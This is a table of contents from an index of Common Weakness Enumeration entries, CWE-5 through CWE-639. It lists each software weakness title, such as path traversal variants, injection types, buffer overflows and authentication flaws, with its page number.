## Individual CWE Weaknesses

CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption..... 1

CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length..... 2

CWE-7: J2EE Misconfiguration: Missing Custom Error Page..... 4

CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote..... 6

CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods..... 7

CWE-11: ASP.NET Misconfiguration: Creating Debug Binary..... 8

CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page..... 9

CWE-13: ASP.NET Misconfiguration: Password in Configuration File..... 11

CWE-14: Compiler Removal of Code to Clear Buffers..... 12

CWE-15: External Control of System or Configuration Setting..... 15

CWE-20: Improper Input Validation..... 17

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')..... 29

CWE-23: Relative Path Traversal..... 39

CWE-24: Path Traversal: './filedir'..... 45

CWE-25: Path Traversal: '/../filedir'..... 47

CWE-26: Path Traversal: '/dir../filename'..... 48

CWE-27: Path Traversal: 'dir../filename'..... 50

CWE-28: Path Traversal: './filedir'..... 51

CWE-29: Path Traversal: '\.filename'..... 53

CWE-30: Path Traversal: 'dir\.filename'..... 55

CWE-31: Path Traversal: 'dir\.\filename'..... 57

CWE-32: Path Traversal: '...' (Triple Dot)..... 59

CWE-33: Path Traversal: '....' (Multiple Dot)..... 61

CWE-34: Path Traversal: '.../'..... 63

CWE-35: Path Traversal: '...//'..... 65

CWE-36: Absolute Path Traversal..... 67

CWE-37: Path Traversal: '/absolute/pathname/here'..... 70

CWE-38: Path Traversal: '\absolute\pathname\here'..... 72

CWE-39: Path Traversal: 'C:dirname'..... 74

CWE-40: Path Traversal: '\\UNC\share\name' (Windows UNC Share)..... 77

CWE-41: Improper Resolution of Path Equivalence..... 78

CWE-42: Path Equivalence: 'filename.' (Trailing Dot)..... 84

CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot)..... 86

CWE-44: Path Equivalence: 'file.name' (Internal Dot)..... 87

CWE-45: Path Equivalence: 'file..name' (Multiple Internal Dot)..... 88

CWE-46: Path Equivalence: 'filename ' (Trailing Space)..... 89

CWE-47: Path Equivalence: ' filename' (Leading Space)..... 90

CWE-48: Path Equivalence: 'file name' (Internal Whitespace)..... 91

CWE-49: Path Equivalence: 'filename/' (Trailing Slash)..... 92

CWE-50: Path Equivalence: '//multiple/leading/slash'..... 93

CWE-51: Path Equivalence: '/multiple/internal/slash'..... 95

CWE-52: Path Equivalence: '/multiple/trailing/slash/'..... 96

CWE-53: Path Equivalence: '\multiple\internal\backslash'..... 97

CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash)..... 98

CWE-55: Path Equivalence: './.' (Single Dot Directory)..... 99

CWE-56: Path Equivalence: 'filedir\*' (Wildcard)..... 100

CWE-57: Path Equivalence: 'fakedir/./readdir/filename'..... 102

CWE-58: Path Equivalence: Windows 8.3 Filename..... 103

CWE-59: Improper Link Resolution Before File Access ('Link Following')..... 104

CWE-61: UNIX Symbolic Link (Symlink) Following..... 109

CWE-62: UNIX Hard Link..... 112

CWE-64: Windows Shortcut Following (.LNK)..... 114

CWE-65: Windows Hard Link..... 116

CWE-66: Improper Handling of File Names that Identify Virtual Resources..... 117

CWE-67: Improper Handling of Windows Device Names..... 119

CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream.....	122
CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path.....	123
CWE-73: External Control of File Name or Path.....	125
CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection').....	129
CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection).....	133
CWE-76: Improper Neutralization of Equivalent Special Elements.....	135
CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection').....	136
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').....	141
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').....	151
CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS).....	163
CWE-81: Improper Neutralization of Script in an Error Message Web Page.....	166
CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page.....	168
CWE-83: Improper Neutralization of Script in Attributes in a Web Page.....	170
CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page.....	172
CWE-85: Doubled Character XSS Manipulations.....	174
CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages.....	176
CWE-87: Improper Neutralization of Alternate XSS Syntax.....	178
CWE-88: Argument Injection or Modification.....	180
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').....	185
CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection').....	196
CWE-91: XML Injection (aka Blind XPath Injection).....	198
CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection').....	200
CWE-94: Improper Control of Generation of Code ('Code Injection').....	203
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection').....	208
CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection').....	212
CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page.....	214
CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion').....	216
CWE-99: Improper Control of Resource Identifiers ('Resource Injection').....	223
CWE-102: Struts: Duplicate Validation Forms.....	226
CWE-103: Struts: Incomplete validate() Method Definition.....	227
CWE-104: Struts: Form Bean Does Not Extend Validation Class.....	229
CWE-105: Struts: Form Field Without Validator.....	231
CWE-106: Struts: Plug-in Framework not in Use.....	233
CWE-107: Struts: Unused Validation Form.....	235
CWE-108: Struts: Unvalidated Action Form.....	237
CWE-109: Struts: Validator Turned Off.....	238
CWE-110: Struts: Validator Without Form Field.....	240
CWE-111: Direct Use of Unsafe JNI.....	242
CWE-112: Missing XML Validation.....	244
CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting').....	246
CWE-114: Process Control.....	250
CWE-115: Misinterpretation of Input.....	252
CWE-116: Improper Encoding or Escaping of Output.....	253
CWE-117: Improper Output Neutralization for Logs.....	260
CWE-118: Incorrect Access of Indexable Resource ('Range Error').....	263
CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer.....	264
CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow').....	273
CWE-121: Stack-based Buffer Overflow.....	281
CWE-122: Heap-based Buffer Overflow.....	284
CWE-123: Write-what-where Condition.....	287
CWE-124: Buffer Underwrite ('Buffer Underflow').....	290
CWE-125: Out-of-bounds Read.....	293
CWE-126: Buffer Over-read.....	295
CWE-127: Buffer Under-read.....	297
CWE-128: Wrap-around Error.....	299
CWE-129: Improper Validation of Array Index.....	301
CWE-130: Improper Handling of Length Parameter Inconsistency .....	309
CWE-131: Incorrect Calculation of Buffer Size.....	313

CWE-134: Use of Externally-Controlled Format String.....	321
CWE-135: Incorrect Calculation of Multi-Byte String Length.....	326
CWE-138: Improper Neutralization of Special Elements.....	328
CWE-140: Improper Neutralization of Delimiters.....	332
CWE-141: Improper Neutralization of Parameter/Argument Delimiters.....	334
CWE-142: Improper Neutralization of Value Delimiters.....	335
CWE-143: Improper Neutralization of Record Delimiters.....	337
CWE-144: Improper Neutralization of Line Delimiters.....	339
CWE-145: Improper Neutralization of Section Delimiters.....	341
CWE-146: Improper Neutralization of Expression/Command Delimiters.....	343
CWE-147: Improper Neutralization of Input Terminators.....	345
CWE-148: Improper Neutralization of Input Leaders.....	347
CWE-149: Improper Neutralization of Quoting Syntax.....	348
CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences.....	350
CWE-151: Improper Neutralization of Comment Delimiters.....	352
CWE-152: Improper Neutralization of Macro Symbols.....	354
CWE-153: Improper Neutralization of Substitution Characters.....	356
CWE-154: Improper Neutralization of Variable Name Delimiters.....	358
CWE-155: Improper Neutralization of Wildcards or Matching Symbols.....	359
CWE-156: Improper Neutralization of Whitespace.....	361
CWE-157: Failure to Sanitize Paired Delimiters.....	363
CWE-158: Improper Neutralization of Null Byte or NUL Character.....	365
CWE-159: Failure to Sanitize Special Element.....	368
CWE-160: Improper Neutralization of Leading Special Elements.....	370
CWE-161: Improper Neutralization of Multiple Leading Special Elements.....	371
CWE-162: Improper Neutralization of Trailing Special Elements.....	373
CWE-163: Improper Neutralization of Multiple Trailing Special Elements.....	375
CWE-164: Improper Neutralization of Internal Special Elements.....	376
CWE-165: Improper Neutralization of Multiple Internal Special Elements.....	378
CWE-166: Improper Handling of Missing Special Element.....	380
CWE-167: Improper Handling of Additional Special Element.....	381
CWE-168: Improper Handling of Inconsistent Special Elements.....	383
CWE-170: Improper Null Termination.....	384
CWE-172: Encoding Error.....	388
CWE-173: Improper Handling of Alternate Encoding.....	391
CWE-174: Double Decoding of the Same Data.....	393
CWE-175: Improper Handling of Mixed Encoding.....	395
CWE-176: Improper Handling of Unicode Encoding.....	396
CWE-177: Improper Handling of URL Encoding (Hex Encoding).....	399
CWE-178: Improper Handling of Case Sensitivity.....	401
CWE-179: Incorrect Behavior Order: Early Validation.....	404
CWE-180: Incorrect Behavior Order: Validate Before Canonicalize.....	407
CWE-181: Incorrect Behavior Order: Validate Before Filter.....	409
CWE-182: Collapse of Data into Unsafe Value.....	411
CWE-183: Permissive Whitelist.....	413
CWE-184: Incomplete Blacklist.....	414
CWE-185: Incorrect Regular Expression.....	417
CWE-186: Overly Restrictive Regular Expression.....	420
CWE-187: Partial String Comparison.....	421
CWE-188: Reliance on Data/Memory Layout.....	423
CWE-190: Integer Overflow or Wraparound.....	425
CWE-191: Integer Underflow (Wrap or Wraparound).....	431
CWE-192: Integer Coercion Error.....	433
CWE-193: Off-by-one Error.....	436
CWE-194: Unexpected Sign Extension.....	440
CWE-195: Signed to Unsigned Conversion Error.....	443
CWE-196: Unsigned to Signed Conversion Error.....	445
CWE-197: Numeric Truncation Error.....	447
CWE-198: Use of Incorrect Byte Ordering.....	450
CWE-200: Information Exposure.....	451
CWE-201: Information Exposure Through Sent Data.....	454

CWE-202: Exposure of Sensitive Data Through Data Queries.....	456
CWE-203: Information Exposure Through Discrepancy.....	457
CWE-204: Response Discrepancy Information Exposure.....	461
CWE-205: Information Exposure Through Behavioral Discrepancy.....	463
CWE-206: Information Exposure of Internal State Through Behavioral Inconsistency.....	464
CWE-207: Information Exposure Through an External Behavioral Inconsistency.....	466
CWE-208: Information Exposure Through Timing Discrepancy.....	467
CWE-209: Information Exposure Through an Error Message.....	468
CWE-210: Information Exposure Through Self-generated Error Message.....	474
CWE-211: Information Exposure Through Externally-Generated Error Message.....	476
CWE-212: Improper Cross-boundary Removal of Sensitive Data.....	478
CWE-213: Intentional Information Exposure.....	480
CWE-214: Information Exposure Through Process Environment.....	482
CWE-215: Information Exposure Through Debug Information.....	484
CWE-216: Containment Errors (Container Errors).....	485
CWE-219: Sensitive Data Under Web Root.....	487
CWE-220: Sensitive Data Under FTP Root.....	488
CWE-221: Information Loss or Omission.....	489
CWE-222: Truncation of Security-relevant Information.....	490
CWE-223: Omission of Security-relevant Information.....	491
CWE-224: Obscured Security-relevant Information by Alternate Name.....	493
CWE-226: Sensitive Information Uncleared Before Release.....	494
CWE-228: Improper Handling of Syntactically Invalid Structure.....	496
CWE-229: Improper Handling of Values.....	498
CWE-230: Improper Handling of Missing Values.....	499
CWE-231: Improper Handling of Extra Values.....	500
CWE-232: Improper Handling of Undefined Values.....	501
CWE-233: Improper Handling of Parameters.....	502
CWE-234: Failure to Handle Missing Parameter.....	504
CWE-235: Improper Handling of Extra Parameters.....	506
CWE-236: Improper Handling of Undefined Parameters.....	507
CWE-237: Improper Handling of Structural Elements.....	508
CWE-238: Improper Handling of Incomplete Structural Elements.....	509
CWE-239: Failure to Handle Incomplete Element.....	510
CWE-240: Improper Handling of Inconsistent Structural Elements.....	511
CWE-241: Improper Handling of Unexpected Data Type.....	512
CWE-242: Use of Inherently Dangerous Function.....	513
CWE-243: Creation of chroot Jail Without Changing Working Directory.....	515
CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection').....	517
CWE-245: J2EE Bad Practices: Direct Management of Connections.....	518
CWE-246: J2EE Bad Practices: Direct Use of Sockets.....	520
CWE-248: Uncaught Exception.....	521
CWE-250: Execution with Unnecessary Privileges.....	523
CWE-252: Unchecked Return Value.....	529
CWE-253: Incorrect Check of Function Return Value.....	534
CWE-256: Unprotected Storage of Credentials.....	536
CWE-257: Storing Passwords in a Recoverable Format.....	538
CWE-258: Empty Password in Configuration File.....	540
CWE-259: Use of Hard-coded Password.....	542
CWE-260: Password in Configuration File.....	546
CWE-261: Weak Cryptography for Passwords.....	548
CWE-262: Not Using Password Aging.....	550
CWE-263: Password Aging with Long Expiration.....	551
CWE-266: Incorrect Privilege Assignment.....	553
CWE-267: Privilege Defined With Unsafe Actions.....	556
CWE-268: Privilege Chaining.....	558
CWE-269: Improper Privilege Management.....	560
CWE-270: Privilege Context Switching Error.....	562
CWE-271: Privilege Dropping / Lowering Errors.....	564
CWE-272: Least Privilege Violation.....	567
CWE-273: Improper Check for Dropped Privileges.....	571

CWE-274: Improper Handling of Insufficient Privileges.....	573
CWE-276: Incorrect Default Permissions.....	575
CWE-277: Insecure Inherited Permissions.....	578
CWE-278: Insecure Preserved Inherited Permissions.....	579
CWE-279: Incorrect Execution-Assigned Permissions.....	581
CWE-280: Improper Handling of Insufficient Permissions or Privileges .....	582
CWE-281: Improper Preservation of Permissions.....	584
CWE-282: Improper Ownership Management.....	585
CWE-283: Unverified Ownership.....	587
CWE-284: Improper Access Control.....	589
CWE-285: Improper Authorization.....	591
CWE-286: Incorrect User Management.....	598
CWE-287: Improper Authentication.....	599
CWE-288: Authentication Bypass Using an Alternate Path or Channel.....	605
CWE-289: Authentication Bypass by Alternate Name.....	607
CWE-290: Authentication Bypass by Spoofing.....	609
CWE-291: Reliance on IP Address for Authentication.....	611
CWE-293: Using Referer Field for Authentication.....	613
CWE-294: Authentication Bypass by Capture-replay.....	614
CWE-295: Improper Certificate Validation.....	616
CWE-296: Improper Following of a Certificate's Chain of Trust.....	620
CWE-297: Improper Validation of Certificate with Host Mismatch.....	622
CWE-298: Improper Validation of Certificate Expiration.....	626
CWE-299: Improper Check for Certificate Revocation.....	627
CWE-300: Channel Accessible by Non-Endpoint ('Man-in-the-Middle').....	630
CWE-301: Reflection Attack in an Authentication Protocol.....	632
CWE-302: Authentication Bypass by Assumed-Immutable Data.....	634
CWE-303: Incorrect Implementation of Authentication Algorithm.....	636
CWE-304: Missing Critical Step in Authentication.....	637
CWE-305: Authentication Bypass by Primary Weakness.....	639
CWE-306: Missing Authentication for Critical Function.....	640
CWE-307: Improper Restriction of Excessive Authentication Attempts.....	644
CWE-308: Use of Single-factor Authentication.....	647
CWE-309: Use of Password System for Primary Authentication.....	649
CWE-311: Missing Encryption of Sensitive Data.....	651
CWE-312: Cleartext Storage of Sensitive Information.....	658
CWE-313: Cleartext Storage in a File or on Disk.....	661
CWE-314: Cleartext Storage in the Registry.....	663
CWE-315: Cleartext Storage of Sensitive Information in a Cookie.....	664
CWE-316: Cleartext Storage of Sensitive Information in Memory.....	666
CWE-317: Cleartext Storage of Sensitive Information in GUI.....	668
CWE-318: Cleartext Storage of Sensitive Information in Executable.....	669
CWE-319: Cleartext Transmission of Sensitive Information.....	670
CWE-321: Use of Hard-coded Cryptographic Key.....	673
CWE-322: Key Exchange without Entity Authentication.....	675
CWE-323: Reusing a Nonce, Key Pair in Encryption.....	677
CWE-324: Use of a Key Past its Expiration Date.....	679
CWE-325: Missing Required Cryptographic Step.....	680
CWE-326: Inadequate Encryption Strength.....	682
CWE-327: Use of a Broken or Risky Cryptographic Algorithm.....	684
CWE-328: Reversible One-Way Hash.....	689
CWE-329: Not Using a Random IV with CBC Mode.....	692
CWE-330: Use of Insufficiently Random Values.....	693
CWE-331: Insufficient Entropy.....	700
CWE-332: Insufficient Entropy in PRNG.....	702
CWE-333: Improper Handling of Insufficient Entropy in TRNG.....	703
CWE-334: Small Space of Random Values.....	705
CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG).....	707
CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG).....	708
CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG).....	710
CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG).....	711

CWE-339: Small Seed Space in PRNG.....	713
CWE-340: Predictability Problems.....	715
CWE-341: Predictable from Observable State.....	715
CWE-342: Predictable Exact Value from Previous Values.....	717
CWE-343: Predictable Value Range from Previous Values.....	719
CWE-344: Use of Invariant Value in Dynamically Changing Context.....	720
CWE-345: Insufficient Verification of Data Authenticity.....	721
CWE-346: Origin Validation Error.....	724
CWE-347: Improper Verification of Cryptographic Signature.....	727
CWE-348: Use of Less Trusted Source.....	728
CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data.....	730
CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action.....	731
CWE-351: Insufficient Type Distinction.....	734
CWE-352: Cross-Site Request Forgery (CSRF).....	735
CWE-353: Missing Support for Integrity Check.....	741
CWE-354: Improper Validation of Integrity Check Value.....	743
CWE-356: Product UI does not Warn User of Unsafe Actions.....	745
CWE-357: Insufficient UI Warning of Dangerous Operations.....	746
CWE-358: Improperly Implemented Security Check for Standard.....	747
CWE-359: Exposure of Private Information ('Privacy Violation').....	749
CWE-360: Trust of System Event Data.....	752
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition').....	753
CWE-363: Race Condition Enabling Link Following.....	760
CWE-364: Signal Handler Race Condition.....	762
CWE-365: Race Condition in Switch.....	766
CWE-366: Race Condition within a Thread.....	767
CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition.....	770
CWE-368: Context Switching Race Condition.....	774
CWE-369: Divide By Zero.....	775
CWE-370: Missing Check for Certificate Revocation after Initial Check.....	778
CWE-372: Incomplete Internal State Distinction.....	780
CWE-374: Passing Mutable Objects to an Untrusted Method.....	781
CWE-375: Returning a Mutable Object to an Untrusted Caller.....	783
CWE-377: Insecure Temporary File.....	785
CWE-378: Creation of Temporary File With Insecure Permissions.....	787
CWE-379: Creation of Temporary File in Directory with Incorrect Permissions.....	789
CWE-382: J2EE Bad Practices: Use of System.exit().....	791
CWE-383: J2EE Bad Practices: Direct Use of Threads.....	793
CWE-384: Session Fixation.....	794
CWE-385: Covert Timing Channel.....	797
CWE-386: Symbolic Name not Mapping to Correct Object.....	799
CWE-390: Detection of Error Condition Without Action.....	800
CWE-391: Unchecked Error Condition.....	803
CWE-392: Missing Report of Error Condition.....	806
CWE-393: Return of Wrong Status Code.....	807
CWE-394: Unexpected Status Code or Return Value.....	809
CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference.....	810
CWE-396: Declaration of Catch for Generic Exception.....	812
CWE-397: Declaration of Throws for Generic Exception.....	814
CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion').....	815
CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak').....	822
CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak').....	824
CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak').....	825
CWE-404: Improper Resource Shutdown or Release.....	827
CWE-405: Asymmetric Resource Consumption (Amplification).....	831
CWE-406: Insufficient Control of Network Message Volume (Network Amplification).....	833
CWE-407: Algorithmic Complexity.....	835
CWE-408: Incorrect Behavior Order: Early Amplification.....	837
CWE-409: Improper Handling of Highly Compressed Data (Data Amplification).....	838
CWE-410: Insufficient Resource Pool.....	840

CWE-412: Unrestricted Externally Accessible Lock.....	842
CWE-413: Improper Resource Locking.....	844
CWE-414: Missing Lock Check.....	847
CWE-415: Double Free.....	848
CWE-416: Use After Free.....	851
CWE-419: Unprotected Primary Channel.....	854
CWE-420: Unprotected Alternate Channel.....	855
CWE-421: Race Condition During Access to Alternate Channel.....	857
CWE-422: Unprotected Windows Messaging Channel ('Shatter').....	858
CWE-424: Improper Protection of Alternate Path.....	860
CWE-425: Direct Request ('Forced Browsing').....	861
CWE-426: Untrusted Search Path.....	864
CWE-427: Uncontrolled Search Path Element.....	868
CWE-428: Unquoted Search Path or Element.....	873
CWE-430: Deployment of Wrong Handler.....	875
CWE-431: Missing Handler.....	877
CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations.....	878
CWE-433: Unparsed Raw Web Content Delivery.....	879
CWE-434: Unrestricted Upload of File with Dangerous Type.....	881
CWE-435: Improper Interaction Between Multiple Correctly-Behaving Entities.....	888
CWE-436: Interpretation Conflict.....	889
CWE-437: Incomplete Model of Endpoint Features.....	892
CWE-439: Behavioral Change in New Version or Environment.....	893
CWE-440: Expected Behavior Violation.....	894
CWE-441: Unintended Proxy or Intermediary ('Confused Deputy').....	895
CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling').....	898
CWE-446: UI Discrepancy for Security Feature.....	901
CWE-447: Unimplemented or Unsupported Feature in UI.....	903
CWE-448: Obsolete Feature in UI.....	904
CWE-449: The UI Performs the Wrong Action.....	905
CWE-450: Multiple Interpretations of UI Input.....	906
CWE-451: User Interface (UI) Misrepresentation of Critical Information.....	907
CWE-453: Insecure Default Variable Initialization.....	911
CWE-454: External Initialization of Trusted Variables or Data Stores.....	912
CWE-455: Non-exit on Failed Initialization.....	914
CWE-456: Missing Initialization of a Variable.....	916
CWE-457: Use of Uninitialized Variable.....	919
CWE-459: Incomplete Cleanup.....	921
CWE-460: Improper Cleanup on Thrown Exception.....	924
CWE-462: Duplicate Key in Associative List (Alist).....	925
CWE-463: Deletion of Data Structure Sentinel.....	927
CWE-464: Addition of Data Structure Sentinel.....	929
CWE-466: Return of Pointer Value Outside of Expected Range.....	930
CWE-467: Use of sizeof() on a Pointer Type.....	932
CWE-468: Incorrect Pointer Scaling.....	934
CWE-469: Use of Pointer Subtraction to Determine Size.....	936
CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection').....	937
CWE-471: Modification of Assumed-Immutable Data (MAID).....	940
CWE-472: External Control of Assumed-Immutable Web Parameter.....	942
CWE-473: PHP External Variable Modification.....	945
CWE-474: Use of Function with Inconsistent Implementations.....	947
CWE-475: Undefined Behavior for Input to API.....	948
CWE-476: NULL Pointer Dereference.....	949
CWE-477: Use of Obsolete Function.....	954
CWE-478: Missing Default Case in Switch Statement.....	957
CWE-479: Signal Handler Use of a Non-reentrant Function.....	959
CWE-480: Use of Incorrect Operator.....	961
CWE-481: Assigning instead of Comparing.....	964
CWE-482: Comparing instead of Assigning.....	966
CWE-483: Incorrect Block Delimitation.....	968
CWE-484: Omitted Break Statement in Switch.....	970

CWE-486: Comparison of Classes by Name.....	972
CWE-487: Reliance on Package-level Scope.....	974
CWE-488: Exposure of Data Element to Wrong Session.....	975
CWE-489: Leftover Debug Code.....	977
CWE-491: Public cloneable() Method Without Final ('Object Hijack').....	979
CWE-492: Use of Inner Class Containing Sensitive Data.....	980
CWE-493: Critical Public Variable Without Final Modifier.....	984
CWE-494: Download of Code Without Integrity Check.....	986
CWE-495: Private Array-Typed Field Returned From A Public Method.....	990
CWE-496: Public Data Assigned to Private Array-Typed Field.....	992
CWE-497: Exposure of System Data to an Unauthorized Control Sphere.....	993
CWE-498: Cloneable Class Containing Sensitive Information.....	995
CWE-499: Serializable Class Containing Sensitive Data.....	997
CWE-500: Public Static Field Not Marked Final.....	998
CWE-501: Trust Boundary Violation.....	1000
CWE-502: Deserialization of Untrusted Data.....	1001
CWE-506: Embedded Malicious Code.....	1006
CWE-507: Trojan Horse.....	1008
CWE-508: Non-Replicating Malicious Code.....	1009
CWE-509: Replicating Malicious Code (Virus or Worm).....	1010
CWE-510: Trapdoor.....	1011
CWE-511: Logic/Time Bomb.....	1012
CWE-512: Spyware.....	1014
CWE-514: Covert Channel.....	1015
CWE-515: Covert Storage Channel.....	1016
CWE-520: .NET Misconfiguration: Use of Impersonation.....	1017
CWE-521: Weak Password Requirements.....	1018
CWE-522: Insufficiently Protected Credentials.....	1020
CWE-523: Unprotected Transport of Credentials.....	1023
CWE-524: Information Exposure Through Caching.....	1024
CWE-525: Information Exposure Through Browser Caching.....	1025
CWE-526: Information Exposure Through Environmental Variables.....	1027
CWE-527: Exposure of CVS Repository to an Unauthorized Control Sphere.....	1027
CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere.....	1029
CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere.....	1030
CWE-530: Exposure of Backup File to an Unauthorized Control Sphere.....	1031
CWE-531: Information Exposure Through Test Code.....	1032
CWE-532: Information Exposure Through Log Files.....	1033
CWE-535: Information Exposure Through Shell Error Message.....	1035
CWE-536: Information Exposure Through Servlet Runtime Error Message.....	1036
CWE-537: Information Exposure Through Java Runtime Error Message.....	1037
CWE-538: File and Directory Information Exposure.....	1038
CWE-539: Information Exposure Through Persistent Cookies.....	1040
CWE-540: Information Exposure Through Source Code.....	1041
CWE-541: Information Exposure Through Include Source Code.....	1042
CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context.....	1044
CWE-544: Missing Standardized Error Handling Mechanism.....	1045
CWE-546: Suspicious Comment.....	1046
CWE-547: Use of Hard-coded, Security-relevant Constants.....	1048
CWE-548: Information Exposure Through Directory Listing.....	1049
CWE-549: Missing Password Field Masking.....	1050
CWE-550: Information Exposure Through Server Error Message.....	1051
CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization.....	1052
CWE-552: Files or Directories Accessible to External Parties.....	1053
CWE-553: Command Shell in Externally Accessible Directory.....	1055
CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework.....	1055
CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File.....	1056
CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation.....	1057
CWE-558: Use of getlogin() in Multithreaded Application.....	1058
CWE-560: Use of umask() with chmod-style Argument.....	1060
CWE-561: Dead Code.....	1061

CWE-562: Return of Stack Variable Address.....	1063
CWE-563: Assignment to Variable without Use.....	1065
CWE-564: SQL Injection: Hibernate.....	1066
CWE-565: Reliance on Cookies without Validation and Integrity Checking.....	1068
CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key.....	1069
CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context.....	1071
CWE-568: finalize() Method Without super.finalize().....	1073
CWE-570: Expression is Always False.....	1074
CWE-571: Expression is Always True.....	1076
CWE-572: Call to Thread run() instead of start().....	1078
CWE-573: Improper Following of Specification by Caller.....	1079
CWE-574: EJB Bad Practices: Use of Synchronization Primitives.....	1080
CWE-575: EJB Bad Practices: Use of AWT Swing.....	1082
CWE-576: EJB Bad Practices: Use of Java I/O.....	1084
CWE-577: EJB Bad Practices: Use of Sockets.....	1085
CWE-578: EJB Bad Practices: Use of Class Loader.....	1087
CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session.....	1088
CWE-580: clone() Method Without super.clone().....	1090
CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined.....	1091
CWE-582: Array Declared Public, Final, and Static.....	1092
CWE-583: finalize() Method Declared Public.....	1093
CWE-584: Return Inside Finally Block.....	1095
CWE-585: Empty Synchronized Block.....	1096
CWE-586: Explicit Call to Finalize().....	1097
CWE-587: Assignment of a Fixed Address to a Pointer.....	1099
CWE-588: Attempt to Access Child of a Non-structure Pointer.....	1100
CWE-589: Call to Non-ubiquitous API.....	1101
CWE-590: Free of Memory not on the Heap.....	1103
CWE-591: Sensitive Data Storage in Improperly Locked Memory.....	1105
CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created.....	1106
CWE-594: J2EE Framework: Saving Unserializable Objects to Disk.....	1108
CWE-595: Comparison of Object References Instead of Object Contents.....	1109
CWE-597: Use of Wrong Operator in String Comparison.....	1111
CWE-598: Information Exposure Through Query Strings in GET Request.....	1113
CWE-599: Missing Validation of OpenSSL Certificate.....	1114
CWE-600: Uncaught Exception in Servlet.....	1116
CWE-601: URL Redirection to Untrusted Site ('Open Redirect').....	1117
CWE-602: Client-Side Enforcement of Server-Side Security.....	1122
CWE-603: Use of Client-Side Authentication.....	1126
CWE-605: Multiple Binds to the Same Port.....	1127
CWE-606: Unchecked Input for Loop Condition.....	1128
CWE-607: Public Static Final Field References Mutable Object.....	1130
CWE-608: Struts: Non-private Field in ActionForm Class.....	1131
CWE-609: Double-Checked Locking.....	1132
CWE-610: Externally Controlled Reference to a Resource in Another Sphere.....	1134
CWE-611: Improper Restriction of XML External Entity Reference ('XXE').....	1135
CWE-612: Information Exposure Through Indexing of Private Data.....	1138
CWE-613: Insufficient Session Expiration.....	1139
CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute.....	1140
CWE-615: Information Exposure Through Comments.....	1142
CWE-616: Incomplete Identification of Uploaded File Variables (PHP).....	1143
CWE-617: Reachable Assertion.....	1145
CWE-618: Exposed Unsafe ActiveX Method.....	1147
CWE-619: Dangling Database Cursor ('Cursor Injection').....	1148
CWE-620: Unverified Password Change.....	1149
CWE-621: Variable Extraction Error.....	1151
CWE-622: Improper Validation of Function Hook Arguments.....	1153
CWE-623: Unsafe ActiveX Control Marked Safe For Scripting.....	1155
CWE-624: Executable Regular Expression Error.....	1156
CWE-625: Permissive Regular Expression.....	1157
CWE-626: Null Byte Interaction Error (Poison Null Byte).....	1159

CWE-627: Dynamic Variable Evaluation.....	1161
CWE-628: Function Call with Incorrectly Specified Arguments.....	1163
CWE-636: Not Failing Securely ('Failing Open').....	1165
CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism').....	1167
CWE-638: Not Using Complete Mediation.....	1169
CWE-639: Authorization Bypass Through User-Controlled Key.....	1171
